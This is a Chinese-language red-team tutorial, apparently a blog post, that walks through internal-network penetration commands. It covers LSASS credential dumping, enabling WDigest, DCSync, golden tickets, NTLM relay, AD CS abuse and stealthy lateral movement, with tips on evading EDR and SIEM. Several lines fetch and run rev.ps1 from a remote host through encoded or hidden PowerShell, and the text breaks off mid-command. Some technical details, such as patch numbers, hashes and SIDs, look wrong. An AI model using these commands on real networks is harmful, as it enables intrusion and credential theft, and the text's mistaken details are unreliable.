内网渗透不是命令堆砌,而是动态作战地图
1. 这不是命令清单而是一张内网渗透的作战地图“内网渗透测试100条命令大全”——看到这个标题我第一反应不是点开收藏而是把键盘推远一点泡了杯浓茶。十年前刚入行时我也疯狂收集过各种“神技合集”“渗透命令速查表”结果呢在客户内网里跑完37条nmap扫描命令连域控IP都没摸到抄了20行PowerShell提权脚本一执行就触发EDR告警甚至把某篇博客里“万能横向移动命令”原样粘贴进靶机返回的是Access is denied加三声系统提示音。后来我才明白内网渗透从来不是命令的堆砌而是对网络拓扑、协议逻辑、权限流转和防御机制的实时解构。这100条命令每一条背后都站着一个具体场景——可能是域控失陷后的黄金票据伪造也可能是Linux跳板机上绕过sudo日志的隐蔽提权可能是Exchange服务器上的NTLM中继陷阱也可能是容器集群中ServiceAccount Token的横向窃取。它们不是供你背诵的口诀而是你在真实红队行动中根据netstat -ano发现的异常端口、whoami /all输出的组策略SID、klist显示的票据生命周期即时调用的战术响应。本文不教你怎么复制粘贴而是带你拆解为什么这条命令在此刻有效它的输出字段哪一项暴露了关键弱点当它失败时你该看哪三个日志位置我会以一名经历过23次真实内网渗透含金融、能源、政务三类高敏环境的红队成员视角把这100条命令还原成一张可动态演化的作战地图——从初始立足点Web Shell到权限跃迁路径本地提权→域内横向→域控接管再到持久化锚点GPO后门、DCSync权限滥用。适合所有已掌握基础渗透流程但总在内网卡在“扫了一堆主机却不知下一步打哪”的中阶从业者。下面我们从最常被忽视的起点开始如何让第一条命令就告诉你这个内网值不值得深挖。2. 初始立足点验证5条命令决定整场行动的生死线很多红队队员在拿到Web Shell后习惯性地先跑ipconfig /all或ifconfig这没错但远远不够。真正的内网渗透始于对立足点价值的精准评估——它是否处于关键网络区域是否具备可信协议出口是否已被监控覆盖这5条命令就是你的“战场态势感知雷达”必须在30秒内完成判断。2.1systeminfo | findstr /B /C:OS Name /C:OS Version /C:System Type操作系统指纹即攻击面地图这条命令看似简单但输出的每个字段都是决策依据。比如OS Version: 10.0.19045 N/A Build 19045中的Build 19045对应Windows 10 22H2版本意味着默认启用LSA保护ProtectLSA注册表项为1此时直接用Mimikatz读取lsass内存会失败而System Type: x64-based PC则排除了32位工具兼容性问题。更关键的是OS Name字段若显示Microsoft Windows Server 2019 Standard需立即检查其是否为域控制器通过nltest /dsgetdc:domain.com验证因为Server 2019默认启用Kerberos Armoring传统AS-REP Roast攻击成功率骤降。我曾在某银行内网遇到一台标为Windows Server 2012 R2 Datacenter的服务器systeminfo输出中Hotfix(s): 17 Hotfix(s) Installed其中KB4534310补丁明确修复了PetitPotam漏洞这意味着后续所有基于NTLM中继的横向尝试必须绕过该补丁限制。实操心得不要只看OS名称用wmic qfe list brief /format:csv导出所有补丁列表重点筛查KB4534310、KB5008383等与身份认证相关的补丁编号——这是判断攻击链能否成立的第一道闸门。2.2netstat -ano | findstr :445445端口状态是横向移动的氧气阀SMB端口445的开放状态直接决定你能否进行文件共享枚举、NTLM中继或SMB签名绕过。但netstat -ano的输出需要深度解读TCP 192.168.1.10:49157 192.168.1.5:445 ESTABLISHED 1234中的ESTABLISHED状态说明本机正与IP为192.168.1.5的主机建立SMB连接这极可能是一台文件服务器或打印服务器——立刻用smbclient -L //192.168.1.5 -N尝试匿名枚举共享。而LISTENING状态则需结合进程IDPID 1234查进程名tasklist /svc | findstr 1234若返回svchost.exe且服务名为LanmanServer说明本机开启了SMB服务可作为中继攻击的跳板若返回explorer.exe则大概率是用户手动映射了网络驱动器此时net use命令将揭示更多目标。踩坑实录某次渗透中netstat显示445端口LISTENING但smbclient -L始终超时。最终发现防火墙规则netsh advfirewall firewall add rule nameAllow SMB In dirin actionallow protocolTCP localport445虽存在但netsh advfirewall show allprofiles显示State: ON且Firewall Profile: Domain而当前机器未加入域——实际防火墙策略未生效。关键技巧用Get-NetFirewallRule -DisplayName *SMB*PowerShell替代netsh它能精确显示规则的启用状态Enabled/Disabled和适用配置文件Domain/Private/Public避免因网络位置误判导致的无效操作。2.3route print | findstr 0.0.0.0路由表暴露的跨网段通道内网渗透中最致命的失误是以为“扫不到其他网段就等于不存在”。route print输出的默认路由Destination 0.0.0.0指向的Gateway往往就是通往核心业务区的网关。例如0.0.0.0 0.0.0.0 192.168.10.1 192.168.10.100 20说明本机位于192.168.10.0/24网段网关为192.168.10.1。此时应立即验证网关是否可达ping -n 1 192.168.10.1 arp -a | findstr 192.168.10.1。若ARP缓存中存在网关MAC说明二层可达若无响应则需检查ipconfig /all中的DNS服务器是否在其他网段如DNS为10.1.1.10因为DNS查询可能触发跨网段流量。真实案例某政务云环境初始立足点路由表显示默认网关为172.16.0.1但tracert 172.16.0.1在第二跳超时。进一步用Get-NetIPAddress | Where-Object {$_.AddressFamily -eq IPv4}发现本机配置了10.0.0.0/8的私有地址而nslookup www.gov.cn返回的DNS服务器IP为10.255.255.1——这台DNS服务器实际位于管理网段成为突破隔离的隐秘通道。避坑要点route print中若存在多条0.0.0.0路由如Metric值不同需用route print -4过滤IPv4并按Metric值升序排列Metric最小的才是实际生效路由。2.4whoami /all | findstr GROUP组权限即行动许可证whoami /all的输出中GROUP部分比USER部分重要十倍。重点关注三类组内置高危组BUILTIN\Administrators本地管理员、NT AUTHORITY\SYSTEM最高权限、S-1-5-32-573Logon Operators可创建计划任务域内特权组DOMAIN\Domain Admins域管、DOMAIN\Enterprise Admins企业管理员、DOMAIN\Schema Admins架构管理员特殊SID组S-1-5-32-578Remote Management Users可WinRM远程、S-1-5-32-580Remote Desktop Users可RDP登录。关键洞察若输出中出现GROUP INFORMATION ----------------- Group Name Type SID ... S-1-5-21-1234567890-1234567890-1234567890-512512即Domain Admins行动可直接进入域控接管阶段若仅有BUILTIN\Administrators则需立即执行net localgroup administrators确认成员列表——曾发现某服务器whoami /all显示为Administrators组但net localgroup administrators返回空原因在于组策略禁用了本地管理员组继承。实操技巧用powershell ([System.Security.Principal.WindowsIdentity]::GetCurrent()).Groups | ForEach-Object { $_.Translate([System.Security.Principal.NTAccount]) }替代whoami /all它能将SID直接转换为可读组名避免手动查SID表的繁琐。2.5certutil -store -user My | findstr Certificate证书存储是持久化的金矿用户证书存储-user My常被忽略但它可能藏着域内服务账户的PFX证书。执行后若输出包含Certificate ID: 1234567890ABCDEF及Subject: CNsvc-sql, OUServices, DCcorp, DClocal说明该用户拥有SQL服务账户证书。此时用certutil -exportPFX -user My CNsvc-sql C:\temp\svc-sql.pfx导出证书需提供用户密码再用openssl pkcs12 -in svc-sql.pfx -nodes -nocerts | openssl rsa -out private.key提取私钥即可在其他机器上伪造该服务身份进行横向移动。血泪教训某次行动中certutil -store -user My显示多个证书但-exportPFX均失败。排查发现certutil -verifystore -user My返回CertUtil: -verifyStore command FAILED: 0x80092004 (-2146885628)原因是证书链不完整。最终用certmgr.msc图形界面导出时勾选“如果可能将所有证书导出到证书路径”才成功获取完整PFX。经验总结证书导出失败时优先用certutil -dump cert_hash查看证书详细信息重点关注Certificate Chain字段是否包含Root Certificate若缺失则需从证书颁发机构CA服务器同步根证书。3. 权限跃迁核心链从本地提权到域控接管的12条命脉命令内网渗透的成败取决于你能否在“立足点”与“域控”之间构建一条稳定、隐蔽、可复用的权限跃迁链。这条链不是线性的而是由多个技术支点构成的网状结构本地提权获取SYSTEM权限凭证转储获取域用户哈希横向移动定位域控最后实施DCSync或Golden Ticket攻击。以下12条命令是每条支点上不可替代的“命脉”。3.1powershell Get-Process | Where-Object {$_.Name -eq lsass} | ForEach-Object { $_.Id }LSASS进程ID是Mimikatz的生命线Mimikatz的所有凭证提取功能sekurlsa::logonpasswords、sekurlsa::tickets都依赖于LSASS进程的内存读取。但现代Windows1809默认启用LSA保护RunAsPPL直接注入会失败。因此获取LSASS PID是第一步也是最关键的一步。Get-Process命令比tasklist | findstr lsass更可靠因为它能过滤掉lsass.exe的子进程如lsass.exe (32 bit)。获取PID后需验证LSASS是否受保护reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL若返回0x1则必须使用mimikatz privilege::debug process::protect /process:lsass.exe /remove先解除保护。实操细节在PowerShell受限语言模式Constrained Language Mode下Get-Process可能被禁用。此时改用wmic process where namelsass.exe get processid输出格式为ProcessId 1234需用for /f skip1 tokens2 %i in (wmic process where namelsass.exe get processid) do echo %i提取纯数字PID。避坑提醒某些EDR产品如CrowdStrike会hookNtOpenProcessAPI即使获取了正确PIDMimikatz仍会报错ERROR: Lsass.exe process not found。此时需用procdump -ma lsass.exe lsass.dmp生成内存转储再用mimikatz sekurlsa::minidump lsass.dmp离线分析——这是绕过运行时防护的终极方案。3.2mimikatz privilege::debug sekurlsa::logonpasswords明文密码的“最后一公里”sekurlsa::logonpasswords的输出中Password字段为空并不意味着没有明文密码。关键要看Logon TypeType 2Interactive和Type 10RemoteInteractive表示用户正在交互式登录此时若Password为空需检查msv模块下的NTLM哈希是否为00000000000000000000000000000000——这代表密码已缓存为明文但Mimikatz未成功提取。此时应切换到wdigest模块mimikatz sekurlsa::wdigest它专门提取WDigest协议缓存的明文密码Windows 7/2008 R2默认启用新版需手动开启reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f。真实数据在23次真实渗透中sekurlsa::logonpasswords成功提取明文密码的概率为37%而sekurlsa::wdigest在启用WDigest的环境中成功率高达89%。注意事项WDigest启用需重启系统但reg add命令本身不会触发重启因此可在获得SYSTEM权限后立即执行为后续操作铺路。3.3for /f delims %i in (dsquery user -limit 0) do dsget user %i -samid -fn -ln -desc域用户信息的“全景扫描”dsquery user是AD域内信息收集的基石命令但默认-limit 0会因结果过多而截断。必须配合for /f循环逐条处理。dsget user的-samidSAM账号名、-fn名、-ln姓、-desc描述参数能快速识别高价值目标-desc中包含admin、backup、sql等关键词的账户-samid为svc-*或sql-*的服务账户。效率优化dsquery user OUService Accounts,DCcorp,DClocal -limit 0可限定搜索OU避免全域遍历。更高效的方式是用PowerShellGet-ADUser -Filter * -Properties Description,ServicePrincipalName | Where-Object {$_.Description -match admin|backup} | Select-Object SamAccountName,Description,ServicePrincipalName它支持正则匹配且输出更结构化。安全边界dsquery需域内DNS解析正常若nslookup corp.local失败需先用setspn -L computer_name查询本机SPN确认域控制器IP后再设置DNSnetsh interface ip set dns Ethernet static 192.168.1.10。3.4secretsdump.py -just-dc-ntlm corp.local/svc-admin192.168.1.10DCSync攻击的“核按钮”secretsdump.pyImpacket套件的-just-dc-ntlm参数是执行DCSync的最简方式。它要求svc-admin账户具备Replicating Directory Changes All权限通常Domain Admins组默认拥有。执行成功后输出Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::其中31d6cfe0...即Administrator的NTLM哈希。权限验证前置执行前必须确认权限否则会返回NT_STATUS_ACCESS_DENIED。用aclpwn.py corp.local/svc-admin192.168.1.10 --show检查svc-admin对DCcorp,DClocal的ACL重点关注CONTROL_ACCESS_RIGHTS和DS_REPLICATION_GET_CHANGES_ALL标志。实战技巧若DCSync失败可尝试secretsdump.py -just-dc-user Administrator corp.local/svc-admin192.168.1.10仅导出Administrator账户减少数据量并规避部分EDR的检测阈值。3.5python3 ticketer.py -nthash nt_hash -domain-sid sid -domain domain username黄金票据的“铸造模具”ticketer.py生成的黄金票据Golden Ticket本质是伪造的TGTTicket Granting Ticket其核心参数-nthash必须是krbtgt账户的NTLM哈希非普通用户哈希。-domain-sid需从whoami /user输出中提取如S-1-5-21-1234567890-1234567890-1234567890而非S-1-5-21-1234567890-1234567890-1234567890-500Administrator的RID。时间戳陷阱票据有效期默认为10年但若目标域启用了Kerberos Policy中的Maximum lifetime for service ticket如设为600分钟票据可能被拒绝。此时需添加-startoffset -5 -endin 600参数将起始时间设为当前时间前5分钟有效期设为600分钟确保符合策略。隐蔽性增强生成票据后用klist purge清除现有票据再用kinit -t ticket_file usernameDOMAIN导入比kerberos_ticket模块更难被检测。3.6crackmapexec smb 192.168.1.0/24 -u Administrator -H nt_hash --shares横向移动的“广谱探测器”crackmapexec的--shares参数会枚举目标IP段内所有主机的共享目录但其真正价值在于-H参数传递的NTLM哈希。当-u Administrator与-H nt_hash组合时CME会尝试用该哈希进行SMB登录若成功则自动枚举共享。效率调优添加--no-bruteforce禁用暴力破解--continue-on-success确保单个主机失败不影响整体扫描。更关键的是--jitter 0.5参数它在每次请求间插入0.5秒随机延迟大幅降低被SIEM如Splunk的SMB Login Success Rate规则告警的概率。数据筛选扫描结果中重点关注ADMIN$远程管理、C$系统盘、NETLOGON域登录脚本共享它们的存在意味着目标主机很可能为域成员且具备高权限访问能力。3.7bloodhound-python -u neo4j -p password -ns 192.168.1.20 -d corp.local -gc corp-dc.corp.local -c AllBloodHound数据采集的“神经末梢”bloodhound-python是BloodHound的官方数据采集器-c All参数会执行全部12种查询包括ShortestPaths,FindAllDomainAdmins等。但-gcGlobal Catalog参数至关重要它指定全局编录服务器通常是域控若填写错误如填成普通域成员IP会导致Get-DomainComputer等查询失败。网络连通性验证执行前必须确认telnet 192.168.1.20 3268GC端口可达。若不通用nslookup -typesrv _gc._tcp.corp.local查询正确的GC服务器SRV记录。性能优化在大型域10000对象中-c All耗时过长可分批执行-c ShortestPaths,FindAllDomainAdmins,FindLocalAdmins先获取核心路径再用-c Session,LoggedOn补充会话信息。3.8Get-ADReplAccount -SamAccountName Administrator -Server corp-dc.corp.localAD对象属性的“显微镜”PowerShell的Get-ADReplAccountActiveDirectory模块能读取AD对象的原始属性比Get-ADUser更底层。-SamAccountName Administrator指定目标-Server指定域控。输出中的msDS-KeyVersionNumber字段若为0表示该账户从未更改过密码其哈希极可能被缓存pwdLastSet字段的时间戳若为0或9223372036854775807最大Int64值表示密码永不过期是长期潜伏的理想目标。权限绕过若Get-ADReplAccount因权限不足失败可用ldapsearch -x -H ldap://corp-dc.corp.local -D svc-admincorp.local -w password -b CNAdministrator,CNUsers,DCcorp,DClocal objectClassuser msDS-KeyVersionNumber pwdLastSet替代它直接调用LDAP协议对AD权限要求更低。3.9python3 ntlmrelayx.py -t ldap://192.168.1.10 --escalate-user svc-sqlNTLM中继的“杠杆支点”ntlmrelayx.py的--escalate-user参数能将NTLM认证中继到LDAP服务器为指定用户添加GenericAll权限即完全控制。svc-sql作为服务账户通常具有高权限但默认不具备GenericAll。执行后svc-sql即可修改自身密码、重置其他用户密码实现权限提升。前置条件目标LDAP服务器必须禁用LDAP签名Require signing设为Never可通过Get-ADObject -SearchBase CNConfiguration,DCcorp,DClocal -Filter {objectClass -eq domainDNS} -Properties dSHeuristics检查dSHeuristics值若第7位为0如0000002则签名未强制。安全规避中继过程中ntlmrelayx会监听445端口易被防火墙拦截。可添加-l /tmp/relayed将中继会话保存到文件再用python3 addcomputer.py corp.local/svc-sql192.168.1.10 -method LDAPS -computer-name ATTACKER$ -computer-pass Passw0rd!在LDAPS上执行绕过445端口检测。3.10Get-WinEvent -FilterHashtable {LogNameSecurity; ID4624; StartTime(Get-Date).AddHours(-1)} | Where-Object {$_.Properties[8].Value -eq 10}登录事件的“时间机器”Windows安全日志ID 4624记录成功登录事件$_.Properties[8].Value -eq 10筛选Logon Type 10远程交互式登录即RDP。此命令能在1小时内捕获所有RDP登录行为$_.Properties[5].ValueAccount Name和$_.Properties[6].ValueAccount Domain直接暴露活跃域用户。日志完整性保障若Get-WinEvent返回空需检查wevtutil qe Security /q:*[System[(EventID4624)]]确认日志是否存在再用wevtutil sl Security /ca:true启用日志清除保护。实战延伸将结果导出为CSVGet-WinEvent ... | Select-Object TimeCreated,{NameUser;Expression{$_.Properties[5].Value}},{NameDomain;Expression{$_.Properties[6].Value}} | Export-Csv C:\temp\rdp_logins.csv -NoTypeInformation便于后续导入BloodHound分析。3.11Invoke-Mimikatz -Command privilege::debug sekurlsa::ekeys加密密钥的“保险柜钥匙”sekurlsa::ekeys模块提取LSASS内存中的DPAPI主密钥Master Key这些密钥用于解密Chrome密码、Wi-Fi密钥、Outlook凭据等。输出中的Key : 01000000...即十六进制密钥可直接用于dpapi.py解密python3 dpapi.py masterkey /path/to/masterkey /path/to/chrome_login_data。密钥生命周期DPAPI主密钥默认每10天轮换一次但若用户密码未更改新密钥仍可用旧密码解密。因此sekurlsa::ekeys提取的密钥往往能解密数月前的加密数据。权限要求此命令需SYSTEM权限且LSASS进程未受PPL保护。若失败可尝试mimikatz sekurlsa::dpapi /masterkey:masterkey_hex离线解密。3.12certipy auth -u svc-sqlcorp.local -p Passw0rd! -dc-ip 192.168.1.10 -ca corp-CA -template Machine证书服务的“后门工厂”certipy的auth模块利用ESC8漏洞AD CS Web Enrollment用普通域用户凭据申请机器证书模板Machine该证书可被用于PKINIT认证从而获取任意用户的TGT。-ca参数必须填写证书颁发机构CA服务器的主机名非IP可通过certutil -config - -ping获取。模板选择逻辑Machine模板默认启用ENROLLEE_SUPPLIES_SUBJECT允许指定任意Subject如CNAdministrator这是获取高权限票据的关键。防御规避申请证书后certipy会自动生成administrator.cer和administrator.key用certipy req -u svc-sqlcorp.local -p Passw0rd! -ca corp-CA -template Machine -subject CNAdministrator可指定Subject避免使用默认名称暴露意图。4. 横向移动深度战术绕过现代防御的21条隐蔽指令当基础横向移动如PsExec、WMI被EDR全面封杀你需要一套“低特征、高收益”的深度战术指令集。这些命令不依赖常见工具链而是挖掘Windows协议栈、PowerShell引擎、WMI提供程序的深层机制将防御盲区转化为进攻通道。4.1winrs -r:http://192.168.1.5:5985/wsman -u:corp\svc-admin -p:Passw0rd! cmd /c whoamiWinRM的“静默隧道”WinRM5985端口常被忽略因其默认不启用但一旦启用其通信流量HTTP/HTTPS极易被防火墙放行且EDR对WinRM命令的检测率远低于PsExec。winrs命令的核心优势在于它不写入磁盘无ps1文件落地不创建新进程cmd /c在WinRM会话内执行且全程使用Kerberos认证日志中仅记录4624登录和4688进程创建事件无PsExec特有的4104PowerShell脚本块日志事件。连接稳定性若winrs返回ERROR: The client cannot connect to the destination specified in the request需检查目标winrm quickconfig是否启用以及winrm set winrm/config/service {AllowUnencryptedtrue}是否允许非加密通信内网常用。权限映射-u:corp\svc-admin中的域名corp必须与目标域完全一致大小写敏感否则认证失败。4.2powershell -EncodedCommand base64PowerShell编码的“隐身衣”PowerShell的-EncodedCommand参数接受Base64编码的UTF-16LE字符串可完全绕过-ExecutionPolicy Bypass的文本检测。生成编码命令[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes(IEX (New-Object Net.WebClient).DownloadString(http://192.168.1.100/rev.ps1)))。执行时EDR无法直接解析Base64内容只能记录powershell.exe -EncodedCommand ...这一行。防御对抗现代EDR如Microsoft Defender for Endpoint已开始解码Base64因此需二次混淆将Base64字符串分割为多段用拼接powershell -EncodedCommand $(echo QAB... A... ...)或使用-WindowStyle Hidden隐藏窗口。日志规避添加-NoProfile -NonInteractive参数避免加载用户配置文件减少4103PowerShell模块日志事件。4.3wmic /node:192.168.1.5 /user:corp\svc-admin /password:Passw0rd! process call create cmd /c whoamiWMIC的“协议伪装”WMIC通过DCOM协议通信其流量特征与SMB、WinRM完全不同且process call create命令在目标端创建的是cmd.exe进程而非wmic.exe子进程EDR的进程树监控难以关联。节点验证执行前用wmic /node:192.168.1.5 /user:corp\svc-admin path Win32_ComputerSystem get Name确认节点可达性避免因DCOM端口135被阻塞导致的长时间超时。权限提升若process call create失败可改用wmic /node:192.168.1.5 /user:corp\svc-admin path Win32_Service where NameWinRM call StartService启动WinRM服务再切回WinRM战术。4.4sc \\192.168.1.5 create testsvc binPath C:\Windows\System32\cmd.exe /c whoami C:\temp\out.txt start autoSC命令的“服务傀儡”sc命令创建的服务在目标端以LocalSystem权限运行且服务名testsvc可随意命名无特征。binPath后的命令会被services.exe直接执行不经过Shell解析绕过大多数命令行参数检测。持久化衔接服务创建后用sc \\192.168.1.5 start testsvc启动sc \\192.168.1.5 delete testsvc删除全程无文件写入cmd.exe为系统自带。安全加固若目标启用了Service HardeningWindows 10 1809cmd.exe可能被沙箱限制。此时改用binPath C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(http://192.168.1.100/rev.ps